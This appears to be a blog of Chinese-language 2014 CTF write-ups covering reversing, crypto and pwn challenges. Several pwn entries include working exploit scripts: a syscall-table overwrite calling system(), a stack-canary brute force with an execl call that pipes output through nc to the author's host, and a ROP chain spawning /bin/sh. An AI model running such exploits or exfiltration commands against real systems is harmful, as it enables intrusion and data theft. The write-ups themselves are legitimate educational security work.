about 9 years ago

Boston Key Party CTF 2014 Decrypt Img

Reversing 200, PE 32bit 和一張加密過的 bmp 圖片
https://github.com/csie217/ctf/raw/master/boston-key-party-2014/decryptimg.zip

加密的過程在 cryptdll.dll，首先由 54 bytes 的原 key 生成加密用的 key' 和原/密文 xor，之後每 54 個 byte 重新生成 key 一次。重新生成 key 的過程差不多是 srand(hash) 然後 rand() 出 54 個值，基本上很難處理。但最一開始 54 byte 的生成是很簡單的

for( int i=1; i<54; i++ ){
    key[i] = key[i-1]^key[i]^i;
}

我們可以猜測 BMP header 的樣子，xor 後可以直接解出原 key: key[i] = plain[i]^cipher[i]^i^plain[i-1]^cipher[i-1]。BMP header 中除了長寬不確定外，其它的值大致上是固定的。因此我們可以枚舉可能的長寬 (width * height = (1440054-54)/3)，然後看解出的圖片正不正確就行了。解出圖片 (800x600) 如下:

 
about 9 years ago

Boston Key Party CTF 2014 risc_emu

Pwning 100, ELF x64: https://github.com/csie217/ctf/raw/master/boston-key-party-2014/emu

分析一下 binary，發現是個吃 bytecode 的模擬器，固定指令長度 4 byte。模擬器本身沒有漏洞，但亂戳一陣會發現: 指令太長會或跑太多次會噴 error: *** HEAP FUCKERY DETECTED ***。原因是每次的執行結果都會存在 stack 上，太多次的話會覆蓋到檢查 buffer overflow 的 guard；指令太長的話則是會覆蓋掉檢查用的 magic-number。每回的流程大概是這樣:

  1. 讀入 bytecode
  2. 檢查 guard == magic-number，magic-number 是一開始 srand(time(0)) 生成的，如果不相等就噴 error
  3. 執行 bytecode
  4. 執行結果 push 到一個 local array 上，並且把上一次的結果清 0

輸入指令的 buffer 在 0x604B80，magic-number 在 0x604C00，再往下則有模擬器做 system call 用的 function table (0x604C10)。試試看可不可以把它蓋成 system() (0x0410d0)，只是要想辦法突破 guard == magic-number 這關。雖然 srand(time(0)) 應可以直接計算出來，不過我們用的方法是這樣:

  1. 執行回傳值為 0 的 bytecode 02000000 (R0 = R0 - R0) 11 次。第 11 次剛好會蓋住 guard，把它改成 0。
  2. 過長的 bytecode 0000 ... 0000。這是合法的指令，而且剛好在下次檢查前把 magic-number 也改為 0。

完整的 exploit 如下:

def R(s):
    print s.encode('base64').replace('\n','')

for i in range(0,11):
    R('\x02\x00\x00\x00')
cmd = '\x00cat key\x00'
R(cmd+'\x00'*(144-len(cmd))+'\xd0\x10\x40\x00\x00\x00\x00\x00')

執行後得到 key

seanwu:~/bkp$ python ./emu.py | nc 54.218.22.41 4545
RISC CPU Emulator BkP 2014
Give me your bytecode!
Please give me your bytecode base64'd:
Got it, executing AgAAAA== now!
sub r[0], r[0], r[0]
Returning value of 0x0
Resetting VM.....
Please give me your bytecode base64'd:
Got it, executing AgAAAA== now!

... (略)

sub r[0], r[0], r[0]
Returning value of 0x0
Resetting VM.....
Please give me your bytecode base64'd:
Got it, executing AGNhdCBrZXkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0BBAAAAAAAA= now!
flag{stupid_boston_leprechauns_and_geohots}
I don't recognize opcode 0x20
 
about 9 years ago

Codegate CTF Preliminary 2014 Angry Doraemon Writeup

Pwnable 250, 原題目 server https://github.com/csie217/ctf/raw/master/codegate2014pre/angry_doraemon
連上 port 8888 會有一些操作可以作。分析 server 後找到一些可疑的部份:

sub_8048B30 (1.Sword) 
if ( HP_dword_804B078 == 31337 )
    execl("/bin/sh", "sh", 0);
sub_8048FC6 (4.Throw mouse) 
int buf; // [sp+22h] [bp-16h]@1
...
write(fd, "Are you sure? (y/n) ", 0x14u);
read(fd, &buf, 110u);
...
result = *MK_FP(__GS__, 20) ^ v10;
if ( *MK_FP(__GS__, 20) != v10 )
    __stack_chk_fail(v2, v1);
return result;
sub_8049100 (5.Fist attack) 
write(fd, "(special attack?!)\n", 0x13u);
read(fd, &buf, 4u);
if ( BYTE3(buf) == 8 ) goto LABEL_8;
buf();

其中 Fist attack 裡雖然可以直接 call 某個地址，但因為 ASLR 沒有辦法準確跳到 shared library 裡，且因為 filter 的關係沒辦法跳到程式本身的其它地方。在 Sword 裡有個血量為 31337 時就開 shell 的代碼，但血量被控制在 0~100 之間，而且就算有 /bin/sh 也沒用，因為 read/write 是從 socket 送回來的 (fd=4)。

所以我們在 Throw mouse 中進行溢出，但有 stack guard 需要想辦法處理。因為這個 service 是直接 fork() 出來的，而且沒有隨機 stack guard 的部份，所以是固定的值。我們可以每次多覆蓋一個 byte 並嘗試值 0~255，如果 crash 了就代表錯了，否則就是該 byte 的正確值。這樣我們可以一個個 byte 試出 stack guard (0x84c38b00), 前個 stack frame 的 ebp (0xbfb0a7f8), return address, socket fd 等 stack 上的數值。

可以跳轉任意位址後，我們就可以跳到 Sword 裡的 call execl() (位址在 0x08048c79)，但參數要先準備好。我們在本地開了 port 8889 接收 server 上 nc 回來的結果。execl() 的參數為 /bin/sh, sh (借用原本就有的 0x0804970d, 0x0804970a), -c, cat key | nc 140.112.XXX.XXX 8889 (由前個 frame 的 ebp 可以推算出它們的位址 0xbfb0a7d4, 0xbfb0a7d8)。完整代碼如下:

import time
import socket
import sys

st = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
st.connect(('58.229.183.18',8888))
while True:
    s = st.recv(1000)
    if 'Give up\n>' in s:
        break
st.send('4\n')
print st.recv(4096)
st.send('nnnnaaaabb\x00\x8b\xc3\x84\x00\x00\x00\x00\x00\x00\x00\x00\xf8\xa7\xb0\xbf'+\
        '\x79\x8c\x04\x08'+'\x0d\x97\x04\x08'+'\x0a\x97\x04\x08'+\
        '\xd4\xa7\xb0\xbf'+'\xd8\xa7\xb0\xbf'+'\x00\x00\x00\x00'+\
        '-c\x00\x00'+'ls -la | nc 140.112.XXX.XXX 8889\x00')

本地接收到 key

$ nc -vvlp 8889
listening on [any] 8889 ...
58.229.183.18: inverse host lookup failed: Unknown host
connect to [140.112.XXX.XXX] from (UNKNOWN) [58.229.183.18] 43136
CMP67_eax_N1gHt_Jz_B3d_PND_SeelEEP
 sent 0, rcvd 35
 
about 9 years ago

Codegate CTF Preliminary 2014 Clone Technique Writeup

Reversing 250, 原題目 https://github.com/csie217/ctf/raw/master/codegate2014pre/clone_technique.exe
PE 檔，執行的話會一直分出新的 process 執行自己。分析後發現

  1. 執行時需要 3 個參數 a1, a2, counter，如果沒有的話有預設值 (a1=0xA8276BFA,a2=0x92F837ED,counter=1)
  2. 參數 a1, a2 傳入一個 decrypt 函式，會試著解密一個固定的字串 (0x00407030)
  3. a1 符合某個條件時，不會 fork 而是直接回傳一個值；否則依底下的方式 fork，結束後回傳 0。
  4. 接下來會 fork 出新的 process 執行自己，會等 child 結束再開下一個，最多 400-counter 次 (如果 child 回傳 0 就提前結束) 。傳入 child 的參數是 a1, a2 和上一個 child 的回傳值運算過的結果、還有 counter-1

因為只要有任何一個 child 回傳 0，就會全部結束掉了；但如果 child 的回傳值不是 0，意思是這個 child 沒有再往下分枝。另外每往下一層 counter 都會減 1。所以最差情況是: 前 399-counter 次的 child 回傳值非 0，最後一次是 0。這樣每層最多 401 個 process，乘上總層數就大約只有 160000 次。

但 process 數可能因為太多開不起來，而且太慢。因此我們重新寫了一遍，所做的事情完全一樣只是不 fork 而只是遞迴函式。另外原本的程式中有個計算 a^n 的函式 pow(a,n) 是直接用迴圈乘 n 次所以太慢了，我們把它換成了快速幂。還有重新寫成 C 時要注意，原本的 imul, div 這些都會直接 overflow，要注意變數是 signed 還是 unsigned。

重新寫成 C code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const char *str="\x0F\x8E\x9E\x39\x3D\x5E\x3F\xA8"\
                 "\x7A\x68\x0C\x3D\x8B\xAD\xC5\xD0"\
                 "\x7B\x09\x34\xB6\xA3\xA0\x3E\x67\x5D\xD6";

inline int ROL(int a,int b){
    return (a<<b)|((unsigned)a>>(32-b));
}

char* decode(const char *a1,int a2,int a3){
    int i;
    int size;
    char *v8;

    size = strlen(a1);
    v8 = (char*)malloc(size+1);
    memset(v8,0,size);
    for(i = 0;i < (size - 1);i += 2){
        v8[i] = a2 ^ a1[i];
        a2 = ROL(a2,5)^0x2f;
        if(!a1[i + 1]){
            break;
        }
        v8[i + 1] = a3 ^ a1[i + 1];
        a3 = ((unsigned char)a2)^ROL(a3,11);
    }

    return v8;
}

inline int pow(int a,unsigned int b){
    if(b==0) return 1;
    int d = pow(a,b/2);
    if(b%2){
        return d*d*a;
    }else{
        return d*d;
    }
}

int calc(int a1,int a2,int ct){
    printf("%s\n",decode(str,a1,a2));
    a1^=0xB72AF098u;
    a2 = (a1*a2)^a2;
    int v1 = 29*a1+7*pow(a1,2);
    int v6 = pow(v1^a2,((unsigned)v1%2)+5);
    if((unsigned int)a1<=0xD0000000u){
        int ret;
        do{
            if(ct>400) return 0;
            ct++;
            ret = calc(v1,v6,ct);
            v1 = ret;
            v6 = pow(ret^v6,ret%30);
        }while(ret);
        return 0;
    }else{
        return (13*((unsigned)v1/27))^0x1f2a990d;
    }
}

int main(){
    calc(0xA8276BFA,0x92F837ED,1);
    return 0;
}

執行後解出 key

$ ./clone | strings -n 10
And Now His Watch is Ended
 
about 9 years ago

Olympic CTF 2014 Nopsleigh 300 Echof Writeup

這是一題 ELF pwnable 題，它包含了 format string 和 buffer overflow 漏洞。Stack 不能執行，而且一直沒辦法確定 library 的版本所以找不到 system()，就試試看 ROP 好了，然後因為不熟所以卡了很久 XD。不過賽後看到別人的 writeup 好像有掃到 library 版本之類的就是了，應該是努力掃一下就可以找到的東西。

先 decompile 一下，main function 大概長這樣:

int __cdecl main()
{
    int result; // eax@1
    int v1; // ecx@1
    signed int i; // [sp+30h] [bp-110h]@2
    size_t v3; // [sp+34h] [bp-10Ch]@3
    void *v4; // [sp+38h] [bp-108h]@5
    int v5; // [sp+3Ch] [bp-104h]@1
    int v6; // [sp+13Ch] [bp-4h]@1

    v6 = *MK_FP(__GS__, 20);
    puts("pw?");
    fflush(stdout);
    read(0, &v5, 8u);
    result = memcmp(&v5, "letmein\n", 8u);
    if ( !result )
    {
        for ( i = 0; i <= 15; ++i )
        {
            puts("msg?");
            fflush(stdout);
            bzero(&v5, 0x100u);
            read(0, &v5, 0x80u);
            v3 = strlen((const char *)&v5);
            if ( strchr((const char *)&v5, 'n') )
            {
                result = puts("i hate this symbol!");
                break;
            }
            v4 = mmap((void *)0x11111000, 0x1000u, 3, 50, -1, 0);
            if ( v4 == (void *)-1 || !v4 )
            {
                perror("mmap");
                exit(-1);
            }
            *((_DWORD *)v4 + 33) = 'ruoY';
            *((_DWORD *)v4 + 34) = 'sem ';
            *((_DWORD *)v4 + 35) = 'egas';
            *((_DWORD *)v4 + 36) = 'd%( ';
            *((_DWORD *)v4 + 37) = 'tyb ';
            *((_DWORD *)v4 + 38) = ':)se';
            *((_DWORD *)v4 + 39) = '\ns% ';
            *((_BYTE *)v4 + 160) = 0;
            *((_DWORD *)v4 + 32) = (char *)v4 + 132;
            strncpy((char *)v4, (const char *)&v5, 0x80u);
            *((_BYTE *)v4 + v3) = 0;
            sprintf((char *)&v5, *((const char **)v4 + 32), v3, v4);
            puts((const char *)&v5);
            fflush(stdout);
            result = munmap(v4, 0x1000u);
        }
    }
    if ( *MK_FP(__GS__, 20) != v6 )
        _stack_chk_fail(v1, *MK_FP(__GS__, 20) ^ v6);
    return result;
}

Format String 漏洞

首先 pw 要輸入 letmein，接下來它會 echo 輸入共 16 次。它會先在 0x11111000 mmap 一塊 memory (只能讀寫)，
把輸入字串拷貝到 v4，並在 v4+132 組好輸出用的 format string，Format string 的位址會先存到 v4+32 再傳給 sprintf。

有漏洞的地方是用來截斷輸入字串的 *((_BYTE *)v4 + v3) = 0;。由於先前的 read(0, &v5, 0x80u);，輸入的字串最長可以到 128 byte，這樣一來剛好會蓋到 v4+32 的最低位，所以原本的 format string 位址是 0x11111084，現在被蓋掉後會變成 0x11111000，即為輸入字串被拷貝到的 v4。因此我們可以控制 format string，不過一開始檢查了輸入字串有沒有 'n' 這個字元，無法用 format string 進行寫入。

Buffer Overflow 漏洞

這裡的 sprintf((char *)&v5, *((const char **)v4 + 32), v3, v4); 會造成 buffer overflow。雖然輸入長度被限制在 128 以下，但我們可以用像 %200c 這樣的方式造出任意長度的字串，所以 v5 是會被 overflow 的。

另外，雖然這個程式使用了 StackGuard，但我們可以利用 format string 漏洞把檢查值 v6 先讀出來，buffer overflow 時寫回同樣的值就行了。

Exploit

利用 format string 印出記憶體內容，我們可以定位出一些位址:

  • %82$x 是 main function 的 return address。這個在 libc 裡面，可以用來掃 library 的內容。
  • (%113$x)-0x9c 是 ebp, 由 argv 所指到的 argv[0] 的位址加上 offset 得到。
  • (%16$s...,ebp-0x14c)-0xbb8 這是程式被載入的基底位址，由 sprintf 的 return address得到。 後來發現其實這個和 main function 的 return address 之間的 offset 是固定的就是了。
  • read() 的位址，等一下會用到。因為 main 裡有 call read()，很容易就可以算出來。

接下來要想辦法開個 shell，因為 stack 不能執行所以試試 ROP 看看。
首先找到需要的 ROPgadget，雖然 library 內的位址不太一樣，
但可以 dump 出一段後在本地找出相對的位址。
努力的找了一陣，找出 call execve() 需要用的 (eax,ebx,ecx,edx,int 0x80)

ret = b75514d3
ebp = 0xbfbe0f38
base =  0xb770c000
eax: ret + 0xab6c 58c390909090909090909090909090909083ec2c895c241ce8876e10
ebx: base + 0x711 5bc3
ecx edx: ret + 0x14aa8 595ac3909031c08b542404891a897204897a088d4c240465330d18
int 80: ret + 0x14db2 cd809058b877

接下來還有一件很麻煩的事情，就是輸入的字串中不可以用 \x00，所以我們先造了一個 read()，這樣可以直接把值讀到 stack 上造出 ROP chain。Call read() 的參數中還是會有 \x00，我們可以反著蓋回來，用字串結尾的 \x00 來填上。StackGuard的最低位也是 \x00，用一樣的方法補上。

read(0,addr,0x10101);
|  read  |  retN  |  zero  |  addr  |010101--
|  read  |  retN  |ffffff--|  addr  |01010100
|  read  |  retN  |ffff--00|  addr  |01010100
|  read  |  retN  |ff--0000|  addr  |01010100
|  read  |  retN  |--000000|  addr  |01010100
|  read  |  retN  |00000000|  addr  |01010100

接下來就可以 read() 任意的數據到 stack 上了:

ebp+
0c 0x0b          execve -> eax
10 base+0x711    pop ebx; ret;
14 ebp +0x28     '/bin/sh' -> ebx
18 ret +0x14aa8  pop ecx; pop edx; ret;
1c ebp +0x30     argv -> ecx
20 ebp +0x3c     env -> edx
24 ret +0x14db2  int 0x80;
28 '/bin/sh\x00' 
30 ebp +0x28     argv[0]
34 ebp +0x40     argv[1]
38 ebp +0x44     argv[2]
3c 0x0           
40 '-c\x00\x00'
44 'cat flag'

完整的 exploit 在這裡:
https://raw2.github.com/csie217/ctf/master/olympic-ctf-2014/pwn300.py

 
about 9 years ago

Olympic CTF 2014 Figure Crypting 300 GuessGame Writeup

亂試了一陣，觀察並猜測的結論如下

  1. 第一次 mix 的兩個數字，第一個當 1，第二個當 g (base)
  2. mix 是模某個質數 P 下的乘法
  3. 題目問 how much A in B，意思是求出 x 使 A^x = B
  4. inv x = x^(-1)

所以這是一個離散對數問題，題目的數字範圍卡得很緊 (它其實會故意生成最差的情況)，所以要小心處理。
限制 mix + guess 總共 251 次，inv 不計次數，我們可以用 Pollard's rho algorithm，最差情況下花 O(sqrt(P)) 步解出。

sha1prefix.cpp 
#include <bits/stdc++.h>
#include <openssl/sha.h> // man 3 sha1

// g++ sha1prefix.cpp -o sha1prefix -Ofast -lcrypto
// ./sha1prefix bedca4b89c129c89

int main(int argc, char *argv[]) {
    int n = strlen(argv[1]) / 2, x;
    unsigned char s[64] = {}, h[64];
    for (int i = 0; i < n; i++) {
        sscanf(argv[1] + 2*i, "%2x", &x);
        s[i] = x;
    }
    while (true) {
        for (int i = n; ++s[i] == 0; i++);
        SHA1(s, n + 4, h);
        if (!h[0] && !h[1] && !h[2]) break;
    }
    for (int i = 0; i < n + 4; i++) printf("%02x", s[i]);
    puts("");
}
guess.rb 
#!/usr/bin/env ruby


require 'socket'

$sock = TCPSocket.new('109.233.61.11', 3126)

def send(s)
  puts s
  $sock.puts s
  res = $sock.gets
  puts res
  res.split.first
end

def mix(x, y)
  send "mix #{x} #{y}"
end

def inv(x)
  send "inv #{x}"
end

def guess(x)
  send "guess #{x}"
end

lines = 4.times.map { $sock.gets }
puts lines

prefix = lines[1].split.last
s = `./sha1prefix #{prefix}`
puts s
$sock.puts s

lines = 5.times.map { $sock.gets }
puts lines
a, b = lines[1].scan(/'(.*?)'/).flatten

inv('one')

Q = 120 # Q + P / (2Q) <= 251

pow_of_a = {
  0 => 'one',
  +1 => a,
  -1 => inv(a)
}

(2..Q).each do |i|
  pow_of_a[+i] = mix(a, pow_of_a[i-1])
  pow_of_a[-i] = inv(pow_of_a[i])
end

step = mix(pow_of_a[-Q], pow_of_a[-Q]) # a ^ (-2Q)

k = 0
now = b
until pow_of_a.has_value?(now) do
  now = mix(now, step)
  k += 1
end

t = pow_of_a.rassoc(now).first
guess(t + k * 2 * Q) # b * a^(k * -2Q) = a^t
 
about 9 years ago

Olympic CTF 2014 Figure Crypting 200 mic Writeup

原題目 server https://raw2.github.com/csie217/ctf/master/olympic-ctf-2014/mic_server.py
不難的 crypto 一枚。python server 要求一個大質數 p 和基底 g，FLAG 是 int(flag.encode('hex'),16)， server 會回傳

( pow( g * FLAG, FLAG, p ) * FLAG + FLAG ) % p

我們已知 flag 的形式是 CTF{...} 這樣，所以 FLAG 是個奇數。對於一個質數 p，我們選兩個不同基底 g 和 -g，則

( pow( g * FLAG, FLAG, p ) * FLAG + FLAG ) % p + ( pow( -g * FLAG, FLAG, p ) * FLAG + FLAG ) % p
= ( pow( g * FLAG, FLAG, p ) * FLAG + FLAG - pow( g * FLAG, FLAG, p ) * FLAG + FLAG ) % p
= ( FLAG * 2 ) % p

由於 p 的範圍限制，我們沒辦法直接得到 FLAG。故選三個不同的質數，再用中國餘數定理組合起來

import os
import random

def gcd(a, b):
    while b:
        a, b = b, a % b
    return abs(a)
    
def check_prime(p):
    """Miller-Rabin test"""
    if p & 1 == 0:
        return False
    m = p - 1
    s = 0
    while m & 1 == 0:
        m >>= 1
        s += 1
    for j in range(100):
        a = random.randint(2, p - 2)
        if gcd(a, p) != 1:
            return False
        b = pow(a, m * (1 << s), p)
        if b in (0, 1, p - 1):
            continue
        for i in range(s):
            b = pow(b, 2, p)
            if b == 1:
                return False
            if b == p - 1:
                if i < s - 1:
                    break
                else:
                    return False
        else:
            return False
    return True

n1 = 2**107-1
p1 = 93350567636530487152013873049335L
q1 = 143579515663584348734195650554369L
k1 = ((p1+q1)*pow(2,n1-2,n1))%n1

n2 = 1569275433846670190958947355801916604025588861116008628353
p2 = 384733450628775009296876869566896388560082127522333689371
q2 = 1292046548332604151018479737742990026174325571269708515885
k2 = ((p2+q2)*pow(2,n2-2,n2))%n2

n3 = 1292046548332604151018479737742990026174325571269708516021
p3 = 1141556213792204741466186809174330309943785447071641866426
q3 = 539840925477520043245085799373981523213927002400487030840
k3 = ((p3+q3)*pow(2,n3-2,n3))%n3

def ext_euclid(a, b) :
    if b == 0 :
        return (a, 1, 0)
    else :
        (d, xx, yy) = ext_euclid(b, a % b)
        x = yy
        y = xx - (a / b) * yy
        return (d, x, y)

def inverse(a, n):
    return ext_euclid(a, n)[1]

k = 3
a = [k1,k2,k3]
n = [n1,n2,n3]
N = []
b = []
n_product = reduce(lambda x, y: x * y, n, 1)

for i in xrange(0, k):
    N_term = 1
    for j in xrange(0, k):
        if i != j:
            N_term = N_term * n[j]
    N.append(N_term)
for i in xrange(0, k):
    b.append(inverse(N[i], n[i]))
x = 0
for i in xrange(0, k):
    x = x + a[i] * N[i] * b[i] % n_product
x = x%(n1*n2*n3)

print hex(x)[2:-1].decode('hex')

CTF{cf5246e06b13432b9e1116ddef226455}